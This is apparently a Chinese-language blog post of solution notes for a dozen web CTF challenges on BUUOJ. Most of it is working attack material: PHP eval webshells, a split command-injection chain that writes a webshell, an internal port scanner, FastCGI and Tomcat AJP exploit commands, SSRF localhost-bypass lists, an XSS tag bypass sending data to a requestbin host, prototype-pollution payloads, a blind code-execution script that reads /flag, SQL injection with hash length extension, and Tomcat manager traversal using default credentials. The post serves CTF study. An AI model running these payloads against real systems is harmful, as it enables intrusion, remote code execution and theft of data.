Diggid's Blog

[刷题] BUUOJ做题记录(1)

字数统计: 6.8k阅读时长: 30 min
2021/05/02 Share

Phuck2

data伪协议:data:,xxx

  • data伪协议的另一种用法
1
2
3
4
5
6
(1)常规
data://text/plain,xxx
data://text/plain;base64,xxx

(2)特别
data:,xxx //经过file_get_contents或其他文件包含的函数,得到xxx,即file_get_contents("data:,xxx") == xxx
  • 自定义目录为xxx,利用data:,xxx/profile绕过,从而包含文件xxx/profile中的一句话
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
/*
# -*- coding: utf-8 -*-
# @filename: test.php
# @author: diggid
*/

stream_wrapper_unregister('php');
if (isset($_GET['hl'])) highlight_file(__FILE__);

$mkdir = function ($dir) {
system('mkdir -- ' . escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/' . $randFolder);
chdir('users/' . $randFolder);

$userFolder = ($_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR']);
//var_dump($_SERVER['HTTP_X_FORWARDED_FOR']);
$userFolder = basename(str_replace(['.', '-'], ['', ''], $userFolder));

$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile', print_r($_SERVER, true));
chdir('..');
$_GET['page'] = str_replace('.', '', $_GET['page']);
//$c = ini_get("allow_url_include");
//$a = file_get_contents($_GET['page']);
if (!stripos(file_get_contents($_GET['page']), '<?') && !stripos(file_get_contents($_GET['page']), 'php')) {
include($_GET['page']);
}

chdir(__DIR__);
system('rm -rf users/' . $randFolder);

[羊城杯 2020]Easyphp2

php://filter特殊过滤器绕过

1
php://filter/read=convert.iconv.utf-8.utf-7/resource=

解码

1
2
$str = file_get_contents("./test.txt");
echo iconv("utf-7", "utf-8", $str);

/proc/?/environ 爆破环境变量

1
2
/proc/?/environ
?为数字

命令执行拼接fuzz

  • 拼接
1
| || && & ;
  • bypass <?php;
1
<?=@eval($_POST[diggid])>

蚁剑shell无法切换用户时调命令

1
printf "GWHTCTF" | su GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

ctf473831530_2018_web_virink_web

限制字符的命令注入(5、6、7)

这里的是限制20个字符,那太简单了,都不需要完全用到5、6、7字符的trick

1
2
3
4
5
6
7
8
9
echo 'ls -t>g'>f
>e64\ -d\>1.php
>ZF0pOz8+\|bas\\
>QT1NUW2RpZ2dp\\
>gQGV2YWwoJF9\\
>ho\ PD9waHA\\
>ec\\
sh f
sh g

先生成一个文件f,内容是ls -t>g,再把下面这段

1
echo PD9waHAgQGV2YWwoJF9QT1NUW2RpZ2dpZF0pOz8+|base64 -d>1.php

拆分成20字符以内的子串,特殊字符\(空格)|><需要转义,最后留两个\\用来连接命令,然后执行sh f生成g文件,再执行sh g写入webshell

内网探测(fib_trie、未授权访问端口)

  • 没有ifconfig命令如何查看本机的ip段:cat /proc/net/fib_trie

  • 组合探测内网存活主机和未授权\危险端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

import socket

def sniff_host() -> None:
with open('1.txt', "a") as f:
un_list = ['6379', '27017', '8080', '11211', '5900', '5901', '2181', '3888', '2888',
'837', '8095', '5984', '6984', '9200', '9300', '9000', '50070', '3306']

for ip in range(256):
for port in un_list:
ipp = "10.0.170." + str(ip)
print("[x]%s:%s" % (ipp, port))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect((ipp,int(port)))
s.close()
print("[+]%s:%s" % (ipp, port))
f.writelines("%s:%s" % (ipp, port)+'\n')
except socket.error or socket.timeout:
pass
f.close()
if __name__ == "__main__":
sniff_host()

php-fpm 9000

打fastcgi 9000端口RCE(已知一php文件绝对路径)

1
python3 fpm.py x.x.x.x /www/redirect.php -p [port] -c \"<?php system('ls /');?>\" //在蚁剑内用的话

rsync未授权访问导致给定目录的任意文件读

关于rsync的其他详细内容

  • rsync daemon是向外提供服务的,这样只要告诉了别人rsync的url路径,外人就能向ftp服务器一样获取文件列表并进行选择性地下载。

  • rsync daemon是”rsync –daemon”或再加上其他一些选项启动的,它会读取配置文件,默认是/etc/rsyncd.conf,并默认监听在873端口上,当外界有客户端对此端口发起连接请求,通过这个网络套接字就可以完成连接,以后与该客户端通信的所有数据都通过该网络套接字传输。

  • 以下是rsync client连接rsync daemon时的命令语法:

1
2
3
4
>Pull: rsync [OPTION...] [USER@]HOST::SRC... [DEST]
rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]
>Push: rsync [OPTION...] SRC... [USER@]HOST::DEST
rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST
  • 配置文件格式:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>######### 全局配置参数 ##########
>port=888 # 指定rsync端口。默认873
>uid = rsync # rsync服务的运行用户,默认是nobody,文件传输成功后属主将是这个uid
>gid = rsync # rsync服务的运行组,默认是nobody,文件传输成功后属组将是这个gid
>use chroot = no # rsync daemon在传输前是否切换到指定的path目录下,并将其监禁在内
>max connections = 200 # 指定最大连接数量,0表示没有限制
>timeout = 300 # 确保rsync服务器不会永远等待一个崩溃的客户端,0表示永远等待
>motd file = /var/rsyncd/rsync.motd # 客户端连接过来显示的消息
>pid file = /var/run/rsyncd.pid # 指定rsync daemon的pid文件
>lock file = /var/run/rsync.lock # 指定锁文件
>log file = /var/log/rsyncd.log # 指定rsync的日志文件,而不把日志发送给syslog
>dont compress = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2 # 指定哪些文件不用进行压缩传输

>###########下面指定模块,并设定模块配置参数,可以创建多个模块###########
>[Module_name] # 模块ID
>path = /longshuai/ # 指定该模块的路径,该参数必须指定。启动rsync服务前该目录必须存在。rsync请求访问模块本质就是访问该路径。
>ignore errors # 忽略某些IO错误信息
>read only = false # 指定该模块是否可读写,即能否上传文件,false表示可读写,true表示可读不可写。所有模块默认不可上传
>write only = false # 指定该模式是否支持下载,设置为true表示客户端不能下载。所有模块默认可下载
>list = false # 客户端请求显示模块列表时,该模块是否显示出来,设置为false则该模块为隐藏模块。默认true
>hosts allow = 10.0.0.0/24 # 指定允许连接到该模块的机器,多个ip用空格隔开或者设置区间
>hosts deny = 0.0.0.0/32 # 指定不允许连接到该模块的机器
>auth users = rsync_backup # 指定连接到该模块的用户列表,只有列表里的用户才能连接到模块,用户名和对应密码保存在 secrts file中,这里使用的不是系统用户,而是虚拟用户不设置时,默认所有用户都能连接,但 使用的是匿名连接
>secrets file = /etc/rsyncd.passwd # 保存auth users用户列表的用户名和密码,每行包含一个username:passwd。由 于"strict modes"
# 默认为true,所以此文件要求非rsync daemon用户不可读写。只有启用了auth users该选项才有效。

主要关注模块名[Module_name] 、映射的path、是否可读写、黑白名单(hosts allow/deny)、认证机制(auth users)

如果未设置认证机制和黑白名单、并且可读、那么就存在未授权访问导致的任意文件下载

其他的坑

  • 蚁剑上一些需要回显结果的操作(如内网探测、端口探测等),尽量写在一个文件里,因为有时候回显问题比较迷

  • 蚁剑上的双引号字符转义问题(还不太清楚)

双引号内包含<?>$等特殊字符时,外面的双引号需要转义,否则会报错

1
echo \"<?php xxx?>\"
  • python的requests模块发GET请求对某些字符不url编码,如果发出的数据中带有+&=等,一定要quote

[WUSTCTF2020]easyweb

报错leak信息

置空url参数,导致tomcat报错爆出路径

任意文件下载(读)

这个不多说了

tomcat ajp文件包含漏洞(任意文件读、文件上传toRCE)

漏洞分析

https://apkash8.medium.com/hunting-and-exploiting-apache-ghostcat-b7446ef83e74

exp

exp用法:

先传个大马上去,这个大马可以执行任意命令,然后用tomcat ajp的exp打一下

1
2
3
4
python3 ajpShooter.py [IP/HOST] [PORT/8009] [Path-To-Shell] [eval/read]

python3 ajpShooter.py http://d4ed7acd-d25d-41f0-a2d7-7064494b1135 8009 /WEB-INF/uplo
ads/92628052-aa56-4cc0-ae16-c4f058bde9b1.jsp eval

[网鼎杯 2020 半决赛]BabyJS

SSRF bypass 127.0.0.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
127.0.0.1
localhost
127.0.1
127.1
0.0.0.0 常用
0.0
0

::1
::127.0.0.1
::ffff:127.0.0.1
::1%1

127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io

http://2130706433 (decimal) 常用
http://0x7f000001 常用
http://017700000001 常用
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]

url.parse解析单引号特性(%27@)

当解析一个完整的url时,在url的auth部分会把@前出现的url编码转换为字符,也就是把auth的部分自动进行一次url解码,如果不是在http://xxx%27@/的形式,则不会进行额外的解码,如http://xxx/%27@就不会解码

1
2
3
var url=require('url');
var test = "http://1.1.1.1%64@ss"
console.log(url.parse(test))

image-20210427161620326

[Zer0pts2020]musicblog

strip_tags过滤标签的绕过

CSP如下

1
Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-P7VxWD8D7JQoD/c/tLQz4Q==' 'strict-dynamic'; base-uri 'none'; trusted-types

看到上面的csp基本上没办法绕,并且题目使用的是strip_tags函数过滤的,过滤很严,但问题也在此

1
2
echo strip_tags("</audio>","<audio>")
echo strip_tags("<a/udio>","<audio>")

上面两种情况都不会被过滤,看一下第二种情况,有没有发现一个a被独立出来了,没错<a/udio>会被浏览器解析为

1
<a udio> 

从而我们就逃逸出了一个<a>标签,这题是leak flag,只需要admin点击标签id=like的链接,即可发送请求获得flag

payload:

1
<a/udio id=like href="http://http.requestbin.buuoj.cn/ycbx95yc">

[XNUCA2019Qualifier]HardJS

考察:

  • 原型链污染 + 第三方库的利用链挖掘

  • iframe中的沙箱绕过

trick

1
2
3
{"type":"notice","content":{"constructor":{"prototype":{"client":true,"escapeFunction":"1; return process.env.FLAG"}}}}

{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}

[RCTF2019]calcalcalc

这题是@zsx师傅出的calc家族的一系列题,还包括0ctf和De1tactf的两道

由于是Typescript写的,源码比较难啃,这里建议抓住重点来看,官方wp

审计js代码的一些思路

  • 看package.json找入口文件

  • 审计Typescript或其他js的代码,其实和java一样,有时候需要关注模块或库的源码

  • 常见的题目类型:原型链污染、类型混淆绕过、SSRF、沙箱逃逸toRCE

bodyparser支持json to 类型绕过

nextjs + express的bodyparser默认支持传入json数组,只需要修改application/json,因此对于bool状态,可以利用json获取真正的true或false,如果是post直接传入的话,获取的是字符串”true”或”false”,因此就无法绕过以下过滤

1
if (!(args.object as CalculateModel).isVip) // isVip == true 才可绕过,isVip == "true"不可以过

无回显时python 任意代码执行 + 时间盲注

首先这道题为什么回定位到时间盲注上,为什么不能直接回显flag,下面的代码按理是可以回显flag的

1
2
3
return bson.BSON.encode({
"ret": str(eval(str(expr['expression'])))
})

首先这道题是由三个后端执行器来执行我们传入的代码,执行顺序分别是node->php->python,因此我们传入的执行python的代码在前面两个语言执行时会报错,然后页面回显的结果自然是(测试也可以知道)

image-20210428171545124

因此我们就只能在最后执行python时使用时间盲注来leak。

我们再来看看代码对于我们输入的过滤逻辑,审计可以知道,输入三个后端的参数都会过ExpressionValidator,其而在calculate.model.ts中,又会调用一个过滤函数ExpressionValidator,在expression.validator.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {
return (object: Object, propertyName: string) => {
registerDecorator({
name: 'ExpressionValidator',
target: object.constructor,
propertyName,
constraints: [property],
options: validationOptions,
validator: {
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) { //isVip = false时,限制长度为15
return false;
}
}
if (!/^[0-9a-z\[\]\(\)\+\-\*\/ \t]+$/i.test(str)) { //只允许数字、字母、[]()+-*/
return false;
}
return true;
},
},
});
};
}

根据上面的注释

  • 使isVip为true来绕过长度限制

  • 输入的数据只能有以上组合,针对python,我们可以使用eval(chr()+chr()+...)的方式绕过,从而达到代码执行的效果

对于isVip为true,我们可以利用传入json数据(nextjs + express),来使得isVip为true

1
{"isVip":true}

然后我们就可以进行python任意代码执行的盲注了

1
__import__('time').sleep(3) if ord(open('/flag').read()[%d]) > %d else 1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import json
import time
url = "http://61966f59-3169-4681-a7f0-5f658467fb18.node3.buuoj.cn/calculate"

def change(s):
return "+".join("chr(%d)" % ord(i) for i in s)

def hack():
flag = ""

for i in range(50):
s = "__import__('time').sleep(3) if ord(open('/flag').read()[%d]) > %d else 1"
l = 32
r = 127
mid = (l + r) >> 1
while l < r:
ss = s % (i, mid)
print(ss)
header = {
"Content-Type" : "application/json"
}
data = {
"expression" : "eval(" + change(ss) + ")",
"isVip" : True
}
start = time.time()
res = requests.post(url, data=json.dumps(data), headers=header)
end = time.time()
if end - start > 2.2:
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
t = chr(mid)
flag += t
print(flag)
print(flag)

if __name__ == "__main__":
hack()

[极客大挑战 2020]Roamphp2-Myblog

置空Session弱类型绕过

1
if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password'])

很明显session的地方直接可以绕过

文件包含 + zip://伪协议

  • 上传时黑名单ban掉.php

  • 文件包含时默认添加.php后缀

绕过方式,利用zip://伪协议

1
2
zip://[相对/绝对路径]/filename.xxx#filename.xxx
zip://[相对/绝对路径]/filename.xxx%23filename.xxx

filename需要一样,注意%23的URL编码,任意后缀都可以

[羊城杯 2020]EasySer

php://filter伪协议写文件来绕过代码拼接

1
2
3
$d = '<?php die("nononon");?>';
$a=$d.$this->text;
@file_put_contents($this->file,$a);

伪协议写一句话

1
2
$this->file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php"
$a = "PD9waHAgZXZhbCgkX1BPU1RbZGlnZ2lkXSk7ICA/Pg=="

[SWPUCTF 2016]Web blogsys

变量覆盖

关于变量覆盖的问题,有几点需要明晰:

  • 敏感特征:

    • extract(array("a"=>"b"))

    • $$a

  • 变量覆盖的位置:

    • 开头:在开头的话受限比较大,可能会导致覆盖的变量再后序代码中被重覆盖,所以我们需要判断哪些变量在后序代码中不会被重覆盖,这些变量可能就是漏洞利用点,比如这题的$id

    • 中间或结尾部分:思路和开头一样,但是局限性可能会小一些

  • 覆盖什么:根据实际情况而定

逻辑漏洞 + sql注入

这一点在题解结合着讲。

哈希长度扩展攻击

利用条件:

1
2
$hash1 = md5($salt.$m1) 
//已知$salt的长度和$m1、$hash1的值,有时$salt.$m1以合并形式出现

可以推算出任意$hash2的值:

1
2
$hash2 = md5($salt.$m1.$padding.$m2)
//$m2根据要求任意变化,$padding取决于$salt+$m1的长度
  • 已知$salt长度 => 得到$padding的填充长度

  • 已知$hash1 => 即已知加密$m2的初始链变量 => 用$hash1小端逆序后得到的初始链变量加密$m2即可得到$hash2

攻击原理相当于我们模拟了一次对于$m2的加密过程,由于$salt.$m1原先长度小于512位(64字节),因此只能当做一组,而我们人为填充$padding$salt.$m1.$padding为64字节作为一组,而$m2作为下一组的消息,也就相当于我们强行增加了一轮md5的加密,在这轮加密中,我们知道初始链变量$hash1,据此可以算出任意$m2对应的$hash2,从而达到可控$hash2(结论:如果知道最后一轮的初始链变量,即上一轮的hash值,便可控制最后输出的md5的值)

举个可以绕过的例子:

1
if($hash2 = md5($salt.$m1.$padding.$m2) && stripos("admin",$a)){...} 

防御手段:

  • 双hash:最外围的一次hash我们无法控制其值
1
hash(secret + hash(secret + message))
  • 把secret($salt)的值放在拼接的最后
1
hash(message + secret)

由于我们需要这样的形式

1
hash(salt + m1 + padding + m2)

但如果secret在后面,则是这样

1
hash(m1 + padding + m2 + secret)

由于不知道secret的值,导致m2 + secret的部分不可控,从而就无法控制hash

参考:

https://xz.aliyun.com/t/2563#toc-10

https://www.smi1e.top/hello-world/#HASH

https://www.kingkk.com/2018/08/%E8%BF%9F%E5%AD%A6%E7%9A%84%E5%93%88%E5%B8%8C%E9%95%BF%E5%BA%A6%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB/

题解

首先这题是当着白盒来做了,把源码拉了下来,主要文件及其逻辑如下:

  • api.php:定义了一个admin类,存在反序列化的入口,并且存在三个和逻辑功能不太相符的函数,漏洞点:

    • del_msg:删除日记信息

    • del_user:删除用户,但是需要过check函数的过滤

    • check:过滤,其中含有哈希长度扩展攻击漏洞

1
if ($this->check === md5($result['salt'] . $this->data . $username)){...}
  • common.php:审计可以发现,所有文件都包含了该文件,而且该文件中存在变量覆盖漏洞,那么也就导致所有文件都存在变量覆盖,下面这么写的确可以让每一个文件都可以具备扩展性的参数,如repass.php?username=xxx&check=xxx&...,但是不安全
1
2
3
4
5
6
7
8
9
10
foreach (Array("_POST", "_GET", "_COOKIE") as $key) {
foreach ($$key as $k => $v) {
if (is_array($v)) {
die("hello,hacker!");
} else {
// tag!!
$k[0] != '_' ? $$k = addslashes($v) : $$k = "";
}
}
}
  • forget.php:忘记密码处,存在信息泄露,也可以说是一个越权

  • guestbook.php:编辑并提交日记

  • index.php:入口,提供了注册或登录的功能,在session中设置了userid,还可以知道flag是存放在数据库的flag表的flag字段

  • logoff.php:注销功能

  • repass.php:修改密码功能

  • riji.php:当$_SESSION['login'] == 1也就是登录后显示的页面,该页面用于查询日记,可以leak flag

上面简单分析了各个文件的逻辑和出现的漏洞,现在我们需要把这些漏洞连接起来打一套组合拳。

首先是看到flag存放在数据库中,所以我们肯定是要通过sql注入的方式把flag取出来,那么全局查找一下几个sql语句的点,发现有一处没有用引号拼接:在riji.php

1
$sql1 = "select * from msg where userid= $id order by id";

前面说到了每一个文件都存在变量覆盖漏洞,因此这里的$id是可以通过传参来控制的,我们现在要确定的就是这个$id在前面有没有被重覆盖,往上看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (@$_SESSION['login'] !== 1) {
header('Location:/index.php');
exit();
}
if ($_SESSION['user']) {
$username = $_SESSION['user'];
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if ($result['userid']) {
$id = intval($result['userid']);
}
} else {
exit();
}

这里要求首先需要在登录状态,即$_SESSION['login'] == 1。其次,我们看到这里$id = intval($result['userid']); ,我们需要绕过,因此就需要$result['userid']为空或者false。而这里的result相当于存在一用户的信息并查询出来得到的结果。如果我们删除了该用户 ,并且保持在登录状态,那么就可以绕过这里了达到完全控制$id

而在api.php中的del_user实现了这一功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
<?php

require_once("common.php");
session_start();

if (@$_SESSION['login'] === 1) {
header('Location:/riji.php');
exit();
}

class admin
{
var $name;
var $check;
var $data;
var $method;
var $userid;
var $msgid;

function do_method()
{
if ($this->check() === 1) {
if ($this->method === 'del_msg') {
$this->del_msg();
} elseif ($this->method === 'del_user') {
$this->del_user();
} else {
exit();
}
}
}

function check()
{
$username = addslashes($this->name);//进入数据库的数据进行转义
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if (!empty($result)) {
//利用 salt 验证是否为该用户
// hash attack
if ($this->check === md5($result['salt'] . $this->data . $username)) {
echo '(=-=)!!';
if ($result['role'] == 1) {//检查是否为admin用户
return 1;
} else {
return 0;
}
} else {
return 0;
}
} else {
return 0;
}
}

function del_msg()
{
if ($this->msgid) {
$msg_id = intval($this->msgid);//防注入
@mysql_conn();
$sql1 = "DELETE FROM msg where id='$msg_id'";
if (mysql_query($sql1)) {
echo('<script>alert("Delete message success!!")</script>');
exit();
} else {
echo('<script>alert("Delete message wrong!!")</script>');
exit();
}
mysql_close();
} else {
echo('<script>alert("Check Your msg_id!!")</script>');
exit();
}
}

function del_user()
{
if ($this->userid) {
$user_id = intval($this->userid);//防注入
if ($user_id == 1) {
echo('<script>alert("Admin can\'t delete!!")</script>');
exit();
}
@mysql_conn();
$sql2 = "DELETE FROM user where userid='$user_id'";
if (mysql_query($sql2)) {
echo('<script>alert("Delete user success!!")</script>');
exit();
} else {
echo('<script>alert("Delete user wrong!!")</script>');
exit();
}

mysql_close();
} else {
echo('<script>alert("Check Your user_id!!")</script>');
exit();
}
}
}

// control
$a = unserialize(base64_decode($api));
$a->do_method();
?>

这里要想构造序列化数据从而实现任意用户删除,就必须先过check函数,注意check函数关键语句

1
if ($this->check === md5($result['salt'] . $this->data . $username)) 

这里的$this->check $this->data $username($this->name)都是可控的,但是$result['salt']我们是不知道的。这里就需要利用forget.php的一处信息泄露来leak出admin的salt值,从而实现hash长度扩展攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (@$forget == 1) {

@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if (!empty($result)) {

if ($result['salt']) {
$check = base64_encode(md5($result['salt']));
$name = $result['name'];
// 信息泄露处
header("Location:/repass.php?username=$name&check=$check&mibao=$mibao&pass=$pass");
} else {
echo("<script>alert('Get salt Worng?')</script>");
}
} else {
echo("<script>alert('Please check!!?')</script>");
}
}

我们在找回密码处提交$username为admin,从而在header的重定向请求中可以得到admin的salt值

1
http://7156fd63-4eea-437b-848a-b32970ab131b.node3.buuoj.cn/repass.php?username=admin&check=YWI0ZDIyOTI1ZDI2OGRkNjkzN2U0MWVkYmU4MWU5N2U=&mibao=123&pass=123

得到salt值后,便可利用hash长度扩展攻击的exp来生成padding($this->data)

image-20210502002302961

padding:

1
\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00

$this->check

1
6122c04e8a1f3529d556199960ef2556

因此我们可以构造序列化数据来实现删除我们注册的用户,这里注册了dig,user_id为2(可以从session中得到)

1
2
3
4
5
6
7
8
9
10
class admin{
var $name = "admin";
var $check= "6122c04e8a1f3529d556199960ef2556";
var $data = "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00";
var $method="del_user"; //要调用的函数
var $userid="2"; //要删除的用户
}
$a = new admin;
$api = base64_encode(serialize($a));
echo $api; //Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI2MTIyYzA0ZThhMWYzNTI5ZDU1NjE5OTk2MGVmMjU1NiI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiI0Ijt9

至此,数据都payload都准备好了,接下来一步一步来实现

  • 登录dig用户,来到riji.php页面,准备好sql注入的语句
1
-1 union select 1,2,flag from flag
  • 新开一个浏览器,或者开一个隐私窗口,然后在api.php传入序列化数据
1
http://7156fd63-4eea-437b-848a-b32970ab131b.node3.buuoj.cn/api.php?api=Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI2MTIyYzA0ZThhMWYzNTI5ZDU1NjE5OTk2MGVmMjU1NiI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoxOiI0Ijt9

image-20210502003039945

  • 在原来的riji.php浏览器执行sql语句即可得到flag

注意在另一窗口执行删除用户时,不需要登录,如果登录了然后注销,则原窗口session中的user也会一起删除,这样会使得注入失效,直接执行exit();)

image-20210502004255175

[WUSTCTF2020]Train Yourself To Be Godly

这道题buuoj环境上有点问题,不知道是不是内置了waf,用/..;/manager/html就会爆502,但是这道题还是值得学习一下的,尤其是对于中间件的一些解析差异导致的一些目录穿越问题

tomcat+nginx解析差异导致目录穿越

这题是用Nginx做反向代理(从502可以猜测出来),tomcat做真实的后端服务器,从而存在目录穿越的问题。

由于中间件的一些特性,将会导致目录穿越。比如这样的一个路径/a;hack/b/,Nginx会认为其是一个合法的请求并将其转发到后端的Tomcat进行解析,而Tomcat做解析的时候会自动忽略掉一些脏数据,比如;.*等,所以Tomcat解析出来的路径是/ahack/b/,而如果我们正常在根路径下的使用/../是无法绕过Nginx穿越到上级目录的,而这里我们可以构造路径/..;/,Nginx会认为我们要访问..;这个目录,因此其会将该路径请求不做其他处理转发给Tomcat,Tomcat会解析为../从而穿越到上级目录。

而在Tomcat中,有一个后台界面,/manager/html,一般是需要删除的,而这里就是漏洞所在,我们可以通过/..;/manager/html来访问到这个后台登录界面。

其他可能导致目录穿越的poc:

orange师傅在blackhat上关于目录穿越的议题分享

image-20210504002323604

tomcat 后台弱口令

  • 后台界面/manager/html

  • 默认用户tomcat 和 role1

  • 默认账密:tomcat / manager

这题可以爆破出默认账密tomcat/tomcat,登录即可看到后台管理界面有一个文件上传

401 HTTP Authorization

打包jsp为war,或者直接上传jsp也可以,打包命令

1
jar cvf shell.war shell.jsp

然后上传发现,返回了一个401的状态码,401状态码是一个请求认证的状态码,具体内容参考

在HTTP字段中的认证格式为

1
Authorization: Basic base64-encode(username:password)

由于之前爆破除了tomcat:tomcat,因此这里的认证字段

1
Authorization: Basic dG9tY2F0OnRvbWNhdA==

再一次发包过去,发现不返回401了,但是返回了个403

修改Cookie的Path

前面爆出403的原因就是没权限,观察一下可以发现我们在登录manager后台页面的时候是有一个JSESSIONID的,并且可以发现这个JSESSION的path是这样

1
Path=/manager

这里估计是出题人留的一个坑,显然如果以/manager的cookie路径去访问是不行的,因为我们前面是通过目录穿越访问的上级目录的/..;/manager/html,而这里的cookie path是当前目录下的/manager,所以我们需要修改一下cookie path(cookie的所有属性都是客户端完全可控的),这里通过一个小插件修改一下,也可以通过burp抓响应包来改

image-20210504001444752

然后再发送一次我们的请求,这时候终于返回200了

CATALOG
  1. 1. Phuck2
    1. 1.1. data伪协议:data:,xxx
  2. 2. [羊城杯 2020]Easyphp2
    1. 2.1. php://filter特殊过滤器绕过
    2. 2.2. /proc/?/environ 爆破环境变量
    3. 2.3. 命令执行拼接fuzz
    4. 2.4. 蚁剑shell无法切换用户时调命令
  3. 3. ctf473831530_2018_web_virink_web
    1. 3.1. 限制字符的命令注入(5、6、7)
    2. 3.2. 内网探测(fib_trie、未授权访问端口)
    3. 3.3. php-fpm 9000
    4. 3.4. rsync未授权访问导致给定目录的任意文件读
    5. 3.5. 其他的坑
  4. 4. [WUSTCTF2020]easyweb
    1. 4.1. 报错leak信息
    2. 4.2. 任意文件下载(读)
    3. 4.3. tomcat ajp文件包含漏洞(任意文件读、文件上传toRCE)
  5. 5. [网鼎杯 2020 半决赛]BabyJS
    1. 5.1. SSRF bypass 127.0.0.1
    2. 5.2. url.parse解析单引号特性(%27@)
  6. 6. [Zer0pts2020]musicblog
    1. 6.1. strip_tags过滤标签的绕过
  7. 7. [XNUCA2019Qualifier]HardJS
    1. 7.1. trick
  8. 8. [RCTF2019]calcalcalc
    1. 8.1. 审计js代码的一些思路
    2. 8.2. bodyparser支持json to 类型绕过
    3. 8.3. 无回显时python 任意代码执行 + 时间盲注
  9. 9. [极客大挑战 2020]Roamphp2-Myblog
    1. 9.1. 置空Session弱类型绕过
    2. 9.2. 文件包含 + zip://伪协议
  10. 10. [羊城杯 2020]EasySer
    1. 10.1. php://filter伪协议写文件来绕过代码拼接
  11. 11. [SWPUCTF 2016]Web blogsys
    1. 11.1. 变量覆盖
    2. 11.2. 逻辑漏洞 + sql注入
    3. 11.3. 哈希长度扩展攻击
    4. 11.4. 题解
  12. 12. [WUSTCTF2020]Train Yourself To Be Godly
    1. 12.1. tomcat+nginx解析差异导致目录穿越
    2. 12.2. tomcat 后台弱口令
    3. 12.3. 401 HTTP Authorization
    4. 12.4. 修改Cookie的Path